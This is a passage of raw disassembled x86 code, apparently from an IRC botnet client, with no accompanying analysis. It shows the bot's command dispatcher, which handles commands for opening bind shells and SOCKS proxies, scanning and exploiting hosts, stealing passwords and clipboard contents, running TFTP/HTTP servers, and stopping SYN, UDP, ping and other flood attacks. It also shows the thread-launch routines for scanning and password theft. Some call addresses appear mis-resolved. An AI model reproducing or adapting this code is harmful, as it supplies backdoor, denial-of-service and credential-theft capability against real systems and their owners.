sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4095F6 push edi push offset aDi3 ; "di3" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4049BD push edi push offset aDi3 ; "di3" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4049BD push edi push offset aLogout ; "logout" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_40491B push edi push offset aLo ; "lo" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_40491B push edi push offset aVersion ; "version" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_40490C push edi push offset aVer ; "ver" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_40490C push edi push offset aRulez ; "rulez" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_404902 push edi push offset aRz ; "rz" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_404902 push edi push offset aSpeedtest ; "speedtest" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4048E9 push edi push offset aSt ; "st" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4048E9 push edi push offset aSecure ; "secure" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4047EB push edi push offset aSec ; "sec" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4047EB push edi push offset aUnsecure ; "unsecure" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4047EB push edi push offset aUnsec ; "unsec" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4047EB push edi push offset aBindshell ; "bindshell" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4046E5 push edi push offset aBd ; "bd" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4046E5 push edi push offset aBindshellstop ; "bindshellstop" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_402AFB push [ebp+esi+var_8C] push 6 push offset aServer_0 ; "Server" push offset dword_42CA18 jmp loc_408CFE ; --------------------------------------------------------------------------- loc_402AFB: ; CODE XREF: sub_401AC7+101Aj push edi push offset aSocks4 ; "socks4" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4045C3 push edi push offset aS4 ; "s4" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4045C3 push edi push offset aSocks4stop ; "socks4stop" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_402B4E push [ebp+esi+var_8C] push 19h push offset aServer_0 ; "Server" push offset dword_42C9F0 jmp loc_408CFE ; --------------------------------------------------------------------------- loc_402B4E: ; CODE XREF: sub_401AC7+106Dj push edi push offset aRloginstop ; "rloginstop" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_402B77 push [ebp+esi+var_8C] push 9 push offset aServer_0 ; "Server" push offset dword_42C9D4 jmp loc_408CFE ; --------------------------------------------------------------------------- loc_402B77: ; CODE XREF: sub_401AC7+1096j push edi push offset aHttpstop ; "httpstop" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_402BA0 push [ebp+esi+var_8C] push 3 push offset aServer_0 ; "Server" push offset dword_42C9B8 jmp loc_408CFE ; --------------------------------------------------------------------------- loc_402BA0: ; CODE XREF: sub_401AC7+10BFj push edi push offset aLogstop ; "logstop" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_402BC9 push [ebp+esi+var_8C] push 25h push offset dword_42C9A4 push offset dword_42C998 jmp loc_408CFE ; --------------------------------------------------------------------------- loc_402BC9: ; CODE XREF: sub_401AC7+10E8j push edi push offset aRedirectstop ; "redirectstop" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_402BF2 push [ebp+esi+var_8C] push 18h push offset dword_42C978 push offset dword_42C968 jmp loc_408CFE ; --------------------------------------------------------------------------- loc_402BF2: ; CODE XREF: sub_401AC7+1111j push edi push offset dword_42C95C call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_402C1B push [ebp+esi+var_8C] push 0Dh push offset dword_42C950 push offset dword_42C944 jmp loc_408CFE ; --------------------------------------------------------------------------- loc_402C1B: ; CODE XREF: sub_401AC7+113Aj push edi push offset aSynstop ; "synstop" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_402C44 push [ebp+esi+var_8C] push 0Eh push offset dword_42C930 push offset dword_42C924 jmp loc_408CFE ; --------------------------------------------------------------------------- loc_402C44: ; CODE XREF: sub_401AC7+1163j push edi push offset aSkysynstop ; "skysynstop" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_402C6D push [ebp+esi+var_8C] push 10h push offset dword_42C908 push offset dword_42C8F8 jmp loc_408CFE ; --------------------------------------------------------------------------- loc_402C6D: ; CODE XREF: sub_401AC7+118Cj push edi push offset aTarga3stop ; "targa3stop" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_402C96 push [ebp+esi+var_8C] push 11h push offset dword_42C8DC push offset dword_42C8CC jmp loc_408CFE ; --------------------------------------------------------------------------- loc_402C96: ; CODE XREF: sub_401AC7+11B5j push edi push offset aWonkstop ; "wonkstop" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_402CBF push [ebp+esi+var_8C] push 12h push offset dword_42C8B4 push offset dword_42C8A8 jmp loc_408CFE ; --------------------------------------------------------------------------- loc_402CBF: ; CODE XREF: sub_401AC7+11DEj push edi push offset aPacketstop ; "packetstop" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz loc_402E15 mov esi, [ebp+esi+var_8C] mov edi, [ebp+arg_4] push esi push 0Dh push offset dword_42C950 push offset dword_42C944 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B63B push esi push 0Eh push offset dword_42C930 push offset dword_42C924 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B63B add esp, 40h push esi push 17h push offset dword_42C890 push offset dword_42C884 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B63B push esi push 16h push offset dword_42C878 push offset dword_42C86C push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B63B add esp, 40h push esi push 11h push offset dword_42C8DC push offset dword_42C8CC push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B63B push esi push 12h push offset dword_42C8B4 push offset dword_42C8A8 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B63B add esp, 40h push esi push 0Fh push offset dword_42C85C push offset dword_42C84C push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B63B push esi push 13h push offset dword_42C83C push offset dword_42C82C push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B63B add esp, 40h push esi push 10h push offset dword_42C908 push offset dword_42C8F8 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B63B push ebx push [ebp+var_4] push offset unk_42C7F8 push [ebp+var_88] push edi call sub_409862 add esp, 34h jmp loc_401F6C ; --------------------------------------------------------------------------- loc_402E15: ; CODE XREF: sub_401AC7+1207j push edi push offset aTsunamistop ; "tsunamistop" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_402E3E push [ebp+esi+var_8C] push 0Fh push offset dword_42C85C push offset dword_42C84C jmp loc_408CFE ; --------------------------------------------------------------------------- loc_402E3E: ; CODE XREF: sub_401AC7+135Dj push edi push offset aWisdomstop ; "wisdomstop" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_402E67 push [ebp+esi+var_8C] push 13h push offset dword_42C83C push offset dword_42C82C jmp loc_408CFE ; --------------------------------------------------------------------------- loc_402E67: ; CODE XREF: sub_401AC7+1386j push edi push offset aUdpstop ; "udpstop" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_402E90 push [ebp+esi+var_8C] push 17h push offset dword_42C890 push offset dword_42C884 jmp loc_408CFE ; --------------------------------------------------------------------------- loc_402E90: ; CODE XREF: sub_401AC7+13AFj push edi push offset aPingstop ; "pingstop" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_402EB9 push [ebp+esi+var_8C] push 16h push offset dword_42C878 push offset dword_42C86C jmp loc_408CFE ; --------------------------------------------------------------------------- loc_402EB9: ; CODE XREF: sub_401AC7+13D8j push edi push offset aTftpstop ; "tftpstop" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_402EE2 push [ebp+esi+var_8C] push 5 push offset aServer_0 ; "Server" push offset dword_42C7B0 jmp loc_408CFE ; --------------------------------------------------------------------------- loc_402EE2: ; CODE XREF: sub_401AC7+1401j push edi push offset aFindfilestop ; "findfilestop" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4045AB push edi push offset aFfstop ; "ffstop" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4045AB push edi push offset aProcsstop ; "procsstop" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_404593 push edi push offset aPsstop ; "psstop" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_404593 push edi push offset aClonestop ; "clonestop" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_402F5F push [ebp+esi+var_8C] push 1Fh push offset aClone ; "Clone" push offset dword_42C760 jmp loc_408CFE ; --------------------------------------------------------------------------- loc_402F5F: ; CODE XREF: sub_401AC7+147Ej push edi push offset aSecurestop ; "securestop" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_402F88 push [ebp+esi+var_8C] push 22h push offset aSecure_0 ; "Secure" push offset dword_42C73C jmp loc_408CFE ; --------------------------------------------------------------------------- loc_402F88: ; CODE XREF: sub_401AC7+14A7j push edi push offset aScanstop ; "scanstop" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_402FB1 push [ebp+esi+var_8C] push 0Bh push offset aScan_0 ; "Scan" push offset dword_42C71C jmp loc_408CFE ; --------------------------------------------------------------------------- loc_402FB1: ; CODE XREF: sub_401AC7+14D0j push edi push offset aScanstats ; "scanstats" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_40457D push edi push offset aStats ; "stats" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_40457D push edi push offset aTransferstats ; "transferstats" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_404567 push edi push offset aTrstats ; "trstats" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_404567 push edi push offset aConnectbacksta ; "connectbackstats" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_404551 push edi push offset aCbstats ; "cbstats" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_404551 push edi push offset aExploitlist ; "exploitlist" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_40453B push edi push offset aExplist ; "explist" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_40453B push edi push offset aReconnect ; "reconnect" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_40451C push edi push offset aR ; "r" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_40451C push edi push offset aDisconnect ; "disconnect" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4044FA push edi push offset aDc ; "dc" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4044FA push edi push offset aQuit_0 ; "quit" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4044B2 push edi push offset aQ ; "q" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4044B2 push edi push offset aStatus ; "status" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_404474 push edi push offset aS_0 ; "s" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_404474 push edi push offset aId ; "id" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_40443D push edi push offset aI ; "i" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_40443D push edi push offset aR3start ; "r3start" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_40317D call sub_418835 test eax, eax mov eax, offset unk_42C65C jnz short loc_40314F mov eax, offset unk_42C638 loc_40314F: ; CODE XREF: sub_401AC7+1681j push eax lea eax, [ebp+var_2C4] push eax call sub_41C006 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409862 add esp, 1Ch jmp loc_40830C ; --------------------------------------------------------------------------- loc_40317D: ; CODE XREF: sub_401AC7+1673j push edi push offset aThreads ; "threads" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_40435E push edi push offset aT ; "t" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_40435E push edi push offset aAliases ; "aliases" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_40433B push edi push offset aAl ; "al" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_40433B push edi push offset aLog ; "log" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_40424B push edi push offset aLg ; "lg" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_40424B push edi push offset aClearlog ; "clearlog" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_40422F push edi push offset aClg ; "clg" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_40422F push edi push offset aNetinfo ; "netinfo" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4041F5 push edi push offset aNi ; "ni" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4041F5 push edi push offset aSysinfo ; "sysinfo" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4041CA push edi push offset aSi ; "si" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4041CA push edi push offset aKosomakyad ; "KOSOMAKYAD" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_404190 push edi push offset aKosomak ; "KOSOMAK" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_404190 push edi push offset aProcs ; "procs" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_404070 push edi push offset aPs ; "ps" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_404070 push edi push offset aUptime ; "uptime" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_403FE9 push edi push offset aUp ; "up" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_403FE9 push edi push offset aDriveinfo ; "driveinfo" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_403FCC push edi push offset aDrv ; "drv" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_403FCC push edi push offset aTestdlls ; "testdlls" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_403FB3 push edi push offset aDll ; "dll" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_403FB3 push edi push offset aOpencmd ; "opencmd" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_403F3F push edi push offset aOcmd ; "ocmd" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_403F3F push edi push offset aCmdstop ; "cmdstop" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_40339E push [ebp+esi+var_8C] push 0Ah push offset dword_42C57C push offset dword_42C570 jmp loc_408CFE ; --------------------------------------------------------------------------- loc_40339E: ; CODE XREF: sub_401AC7+18BDj push edi push offset dword_42C56C call sub_41C7E0 pop ecx test eax, eax pop ecx jnz loc_4034B4 cmp [ebp+var_8], ebx jnz short loc_4033D2 push ebx push [ebp+var_4] push offset dword_42C558 push [ebp+var_88] push [ebp+arg_4] call sub_409862 add esp, 14h loc_4033D2: ; CODE XREF: sub_401AC7+18EFj mov eax, [ebp+arg_18] xor edi, edi mov [ebp+arg_18], eax jmp short loc_4033DF ; --------------------------------------------------------------------------- loc_4033DC: ; CODE XREF: sub_401AC7+195Fj mov eax, [ebp+arg_18] loc_4033DF: ; CODE XREF: sub_401AC7+1913j cmp [eax], bl jz short loc_4033E6 inc eax jmp short loc_4033EB ; --------------------------------------------------------------------------- loc_4033E6: ; CODE XREF: sub_401AC7+191Aj mov eax, offset aEmpty ; "<Empty>" loc_4033EB: ; CODE XREF: sub_401AC7+191Dj push eax push edi lea eax, [ebp+var_2C4] push offset aD_S ; "%d. %s" push eax call sub_41C006 push 1 lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409862 add [ebp+arg_18], 80h add esp, 24h inc edi cmp edi, 3 jl short loc_4033DC push offset unk_42C528 call sub_415CEE pop ecx loc_403433: ; CODE XREF: sub_401AC7+1BF0j ; sub_401AC7+2F0Aj mov edi, [ebp+esi+var_8C] cmp edi, ebx mov [ebp+arg_20], edi jz loc_401F6C push [ebp+arg_8] push offset aSpoof ; "spoof" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz loc_404ADD push offset aOff ; "off" push edi call sub_41C7E0 pop ecx test eax, eax pop ecx jnz loc_4049E3 lea eax, [ebp+var_2C4] push offset unk_42C4F4 push eax mov dword_4CCAC0, ebx call sub_41C006 pop ecx pop ecx loc_40348A: ; CODE XREF: sub_401AC7+2FBDj ; sub_401AC7+2FE3j ... cmp [ebp+var_8], ebx jnz loc_409643 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409862 loc_4034AC: ; CODE XREF: sub_401AC7+6FBBj ; sub_401AC7+7021j add esp, 14h jmp loc_409643 ; --------------------------------------------------------------------------- loc_4034B4: ; CODE XREF: sub_401AC7+18E6j push edi push offset aGetclip ; "getclip" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_403EFE push edi push offset aGc ; "gc" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_403EFE push edi push offset aFlusharp ; "flusharp" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_403EE7 push edi push offset aFarp ; "farp" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_403EE7 push edi push offset aFlushdns ; "flushdns" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_403EAF push edi push offset aFdns ; "fdns" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_403EAF push edi push offset aCurrentip ; "currentip" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_403E75 push edi push offset aCip ; "cip" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_403E75 push edi push offset aRloginserver ; "rloginserver" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_403D3D push edi push offset aRlogin ; "rlogin" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_403D3D push edi push offset aHttpserver ; "httpserver" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_403BB1 push edi push offset aHttp ; "http" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_403BB1 push edi push offset aTftpserver ; "tftpserver" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_403A7A push edi push offset aTftp ; "tftp" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_403A7A push edi push offset aShitycrash ; "shitycrash" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_403640 lea eax, [ebp+var_2C4] push offset unk_42C44C push eax call sub_41C006 cmp [ebp+var_8], ebx pop ecx pop ecx jnz short loc_40361F push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409862 add esp, 14h loc_40361F: ; CODE XREF: sub_401AC7+1B3Aj lea eax, [ebp+var_2C4] push eax call sub_415CEE mov [esp+10h+var_10], offset aShitycrash ; "shitycrash" push [ebp+esi+var_7C] call sub_41C7E0 jmp loc_4097CF ; --------------------------------------------------------------------------- loc_403640: ; CODE XREF: sub_401AC7+1B22j push edi push offset aAsn445 ; "asn445" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_403773 push edi push offset off_42C440 call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_403773 push edi push offset aPhonehome ; "phonehome" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_403697 lea eax, [ebp+var_C4] push eax push offset aNoticeSPhoning ; "NOTICE %s :PHONING HOME: DADI Are You T"... push [ebp+arg_4] call sub_40981C loc_40368F: ; CODE XREF: sub_401AC7+478j add esp, 0Ch jmp loc_401F6C ; --------------------------------------------------------------------------- loc_403697: ; CODE XREF: sub_401AC7+1BB2j push edi push offset aFindpass ; "findpass" call sub_41C7E0 pop ecx test eax, eax pop ecx jz short loc_4036BD push edi push offset aFp ; "fp" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz loc_403433 loc_4036BD: ; CODE XREF: sub_401AC7+1BDFj push [ebp+var_88] lea eax, [ebp+var_FEC] push 80h push eax call sub_41C100 mov eax, [ebp+arg_4] push offset unk_42C3C8 mov [ebp+var_FF0], eax mov eax, [ebp+var_4] mov [ebp+var_F68], eax mov eax, [ebp+var_8] mov [ebp+var_F64], eax lea eax, [ebp+var_2C4] push 200h push eax call sub_41C100 push ebx lea eax, [ebp+var_2C4] push 26h push eax call sub_40B3AD add esp, 24h mov [ebp+var_F6C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_FF0] push ebx push eax push offset sub_417269 push ebx push ebx call near ptr 26805C5h nop mov ecx, [ebp+var_F6C] imul ecx, 234h cmp eax, ebx mov dword_43C254[ecx], eax jz short loc_403762 loc_40374C: ; CODE XREF: sub_401AC7+1C99j cmp [ebp+var_F60], ebx jnz loc_40830C push 32h nop call near ptr 268051Bh jmp short loc_40374C ; --------------------------------------------------------------------------- loc_403762: ; CODE XREF: sub_401AC7+1C83j nop call near ptr 2680DCDh push eax push offset unk_42C38C jmp loc_4082FD ; --------------------------------------------------------------------------- loc_403773: ; CODE XREF: sub_401AC7+1B88j ; sub_401AC7+1B9Dj mov al, byte_431A2A mov [ebp+arg_0], ebx cmp al, bl mov edx, offset byte_431A2A jz loc_401F6C mov ecx, edx loc_40378A: ; CODE XREF: sub_401AC7+1CCBj inc [ebp+arg_0] add ecx, 0Bh cmp [ecx], bl jnz short loc_40378A cmp al, bl jz loc_401F6C mov [ebp+arg_18], edx loc_40379F: ; CODE XREF: sub_401AC7+1F9Ej push 0Bh call sub_40B5F5 pop ecx mov ecx, eax mov eax, 190h cdq idiv [ebp+arg_0] mov edx, eax mov eax, 320h add edx, ecx cmp edx, eax jle short loc_4037F2 push ecx lea eax, [ebp+var_2C4] push offset dword_42C350 push eax call sub_41C006 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409862 add esp, 20h jmp loc_403A5C ; --------------------------------------------------------------------------- loc_4037F2: ; CODE XREF: sub_401AC7+1CF6j or [ebp+var_730], 0FFFFFFFFh cmp dword_431808, ebx mov [ebp+var_734], 64h mov [ebp+var_748], 5 mov [ebp+var_744], eax mov [ebp+arg_0], ebx jz short loc_40385F mov eax, [ebp+arg_18] mov esi, offset dword_431808 lea edi, [eax-0Ah] loc_403829: ; CODE XREF: sub_401AC7+1D7Aj lea eax, [esi-28h] push edi push eax call sub_41C7E0 pop ecx test eax, eax pop ecx jz short loc_403845 inc [ebp+arg_0] add esi, 40h cmp [esi], ebx jnz short loc_403829 jmp short loc_40385F ; --------------------------------------------------------------------------- loc_403845: ; CODE XREF: sub_401AC7+1D70j mov eax, [ebp+arg_0] mov ecx, eax mov [ebp+var_730], eax shl ecx, 6 mov ecx, dword_431808[ecx] mov [ebp+var_74C], ecx loc_40385F: ; CODE XREF: sub_401AC7+1D55j ; sub_401AC7+1D7Cj cmp [ebp+var_74C], ebx jz loc_403A70 push 10h lea eax, [ebp+var_2D4] pop esi push eax lea eax, [ebp+var_30C] push eax mov [ebp+var_2D4], esi push [ebp+arg_4] call dword_4C92A8 mov al, [ebp+var_8FF] push esi neg al sbb eax, eax and ax, 100h add eax, 0FFFFh and [ebp+var_308], eax push [ebp+var_308] call dword_4C9390 push eax lea eax, [ebp+var_860] push eax call sub_41BD70 xor eax, eax cmp [ebp+var_8FF], bl push 30h setnz al inc eax inc eax mov esi, eax lea eax, [ebp+var_860] push eax call sub_41C5B0 add esp, 14h cmp esi, ebx mov byte ptr [ebp+arg_24+3], bl jle short loc_403907 loc_4038E5: ; CODE XREF: sub_401AC7+1E3Ej cmp eax, ebx jz short loc_403907 mov byte ptr [eax], 78h lea eax, [ebp+var_860] push 30h push eax call sub_41C5B0 inc byte ptr [ebp+arg_24+3] pop ecx pop ecx movsx ecx, byte ptr [ebp+arg_24+3] cmp ecx, esi jl short loc_4038E5 loc_403907: ; CODE XREF: sub_401AC7+1E1Cj ; sub_401AC7+1E20j mov eax, [ebp+arg_4] push [ebp+var_88] mov esi, [ebp+var_4] mov edi, [ebp+var_8] mov [ebp+var_750], eax lea eax, [ebp+var_850] push 80h push eax mov [ebp+var_720], 1 mov [ebp+var_728], esi mov [ebp+var_724], edi call sub_41C100 push offset byte_43B4B8 push offset aF ; "#f" call sub_41C7E0 add esp, 14h test eax, eax jz short loc_403974 push offset aF ; "#f" lea eax, [ebp+var_7D0] push 80h push eax call sub_41C100 add esp, 0Ch jmp short loc_40397A ; --------------------------------------------------------------------------- loc_403974: ; CODE XREF: sub_401AC7+1E90j mov [ebp+var_7D0], bl loc_40397A: ; CODE XREF: sub_401AC7+1EABj cmp [ebp+var_720], ebx mov eax, offset aRandom ; "Random" jnz short loc_40398C mov eax, offset aSequential ; "Sequential" loc_40398C: ; CODE XREF: sub_401AC7+1EBEj push [ebp+var_734] lea ecx, [ebp+var_860] push [ebp+var_744] push [ebp+var_748] push [ebp+var_74C] push ecx push eax lea eax, [ebp+var_2C4] push offset unk_42C2D0 push eax call sub_41C006 push ebx lea eax, [ebp+var_2C4] push 0Bh push eax call sub_40B3AD add esp, 2Ch mov [ebp+var_740], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_860] push ebx push eax push offset loc_40C5E7 push ebx push ebx call near ptr 26805C5h nop mov ecx, [ebp+var_740] imul ecx, 234h cmp eax, ebx mov dword_43C254[ecx], eax jz short loc_403A16 loc_403A04: ; CODE XREF: sub_401AC7+1F4Dj cmp [ebp+var_71C], ebx jnz short loc_403A31 push 32h call near ptr 268051Bh nop jmp short loc_403A04 ; --------------------------------------------------------------------------- loc_403A16: ; CODE XREF: sub_401AC7+1F3Bj nop call near ptr 2680DCDh push eax lea eax, [ebp+var_2C4] push offset unk_42C294 push eax call sub_41C006 add esp, 0Ch loc_403A31: ; CODE XREF: sub_401AC7+1F43j cmp edi, ebx jnz short loc_403A4F push ebx lea eax, [ebp+var_2C4] push esi push eax push [ebp+var_88] push [ebp+arg_4] call sub_409862 add esp, 14h loc_403A4F: ; CODE XREF: sub_401AC7+1F6Cj lea eax, [ebp+var_2C4] push eax call sub_415CEE pop ecx loc_403A5C: ; CODE XREF: sub_401AC7+1D26j add [ebp+arg_18], 0Bh mov eax, [ebp+arg_18] cmp [eax], bl jnz loc_40379F jmp loc_401F6C ; --------------------------------------------------------------------------- loc_403A70: ; CODE XREF: sub_401AC7+1D9Ej push offset unk_42C25C jmp loc_406E6F ; --------------------------------------------------------------------------- loc_403A7A: ; CODE XREF: sub_401AC7+1AF8j ; sub_401AC7+1B0Dj push 5 call sub_40B5F5 test eax, eax pop ecx jle short loc_403A90 push offset unk_42C23C jmp loc_406E6F ; --------------------------------------------------------------------------- loc_403A90: ; CODE XREF: sub_401AC7+1FBDj mov eax, [ebp+esi+var_8C] cmp eax, ebx jz short loc_403AB3 push eax mov edi, 104h lea eax, [ebp+var_2D54] push edi push eax call sub_41C100 add esp, 0Ch jmp short loc_403AC7 ; --------------------------------------------------------------------------- loc_403AB3: ; CODE XREF: sub_401AC7+1FD2j mov edi, 104h lea eax, [ebp+var_2D54] push edi push eax push ebx nop call near ptr 2670000h loc_403AC7: ; CODE XREF: sub_401AC7+1FEAj mov esi, [ebp+esi+var_88] cmp esi, ebx jnz short loc_403AD7 mov esi, offset byte_429108 loc_403AD7: ; CODE XREF: sub_401AC7+2009j push esi lea eax, [ebp+var_2C50] push edi push eax call sub_41C100 mov eax, dword_429078 push 7Fh push [ebp+var_88] mov [ebp+var_2B44], eax mov eax, [ebp+arg_4] mov [ebp+var_2B48], ebx mov [ebp+var_2D58], eax lea eax, [ebp+var_2B40] push eax call sub_41BD70 mov eax, [ebp+var_4] mov [ebp+var_2AC0], eax mov eax, [ebp+var_8] mov [ebp+var_2ABC], eax lea eax, [ebp+var_2D54] push eax lea eax, [ebp+var_2C4] push [ebp+var_2B44] push offset unk_42C208 push eax call sub_41C006 push ebx lea eax, [ebp+var_2C4] push 5 push eax call sub_40B3AD add esp, 34h mov [ebp+var_2B4C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2D58] push ebx push eax push offset byte_412155 push ebx push ebx call near ptr 26805C5h nop mov ecx, [ebp+var_2B4C] imul ecx, 234h cmp eax, ebx mov dword_43C254[ecx], eax jz short loc_403BA0 loc_403B8A: ; CODE XREF: sub_401AC7+20D7j cmp [ebp+var_2AB8], ebx jnz loc_4081DE push 32h nop call near ptr 268051Bh jmp short loc_403B8A ; --------------------------------------------------------------------------- loc_403BA0: ; CODE XREF: sub_401AC7+20C1j call near ptr 2680DCDh nop push eax push offset unk_42C1CC jmp loc_406E56 ; --------------------------------------------------------------------------- loc_403BB1: ; CODE XREF: sub_401AC7+1ACEj ; sub_401AC7+1AE3j mov edi, [ebp+esi+var_8C] cmp edi, ebx jz short loc_403BD0 push edi call sub_41BEF9 test eax, eax pop ecx jz short loc_403BD0 push edi call sub_41BEF9 pop ecx jmp short loc_403BD5 ; --------------------------------------------------------------------------- loc_403BD0: ; CODE XREF: sub_401AC7+20F3j ; sub_401AC7+20FEj mov eax, dword_42907C loc_403BD5: ; CODE XREF: sub_401AC7+2107j mov esi, [ebp+esi+var_88] mov [ebp+var_36CC], eax xor eax, eax cmp [ebp+var_8FC], bl setz al cmp esi, ebx mov [ebp+var_36B8], eax jz short loc_403C08 lea eax, [ebp+var_37D0] push esi push eax call sub_41C006 pop ecx pop ecx jmp short loc_403C33 ; --------------------------------------------------------------------------- loc_403C08: ; CODE XREF: sub_401AC7+212Ej lea eax, [ebp+var_49F4] push 104h push eax 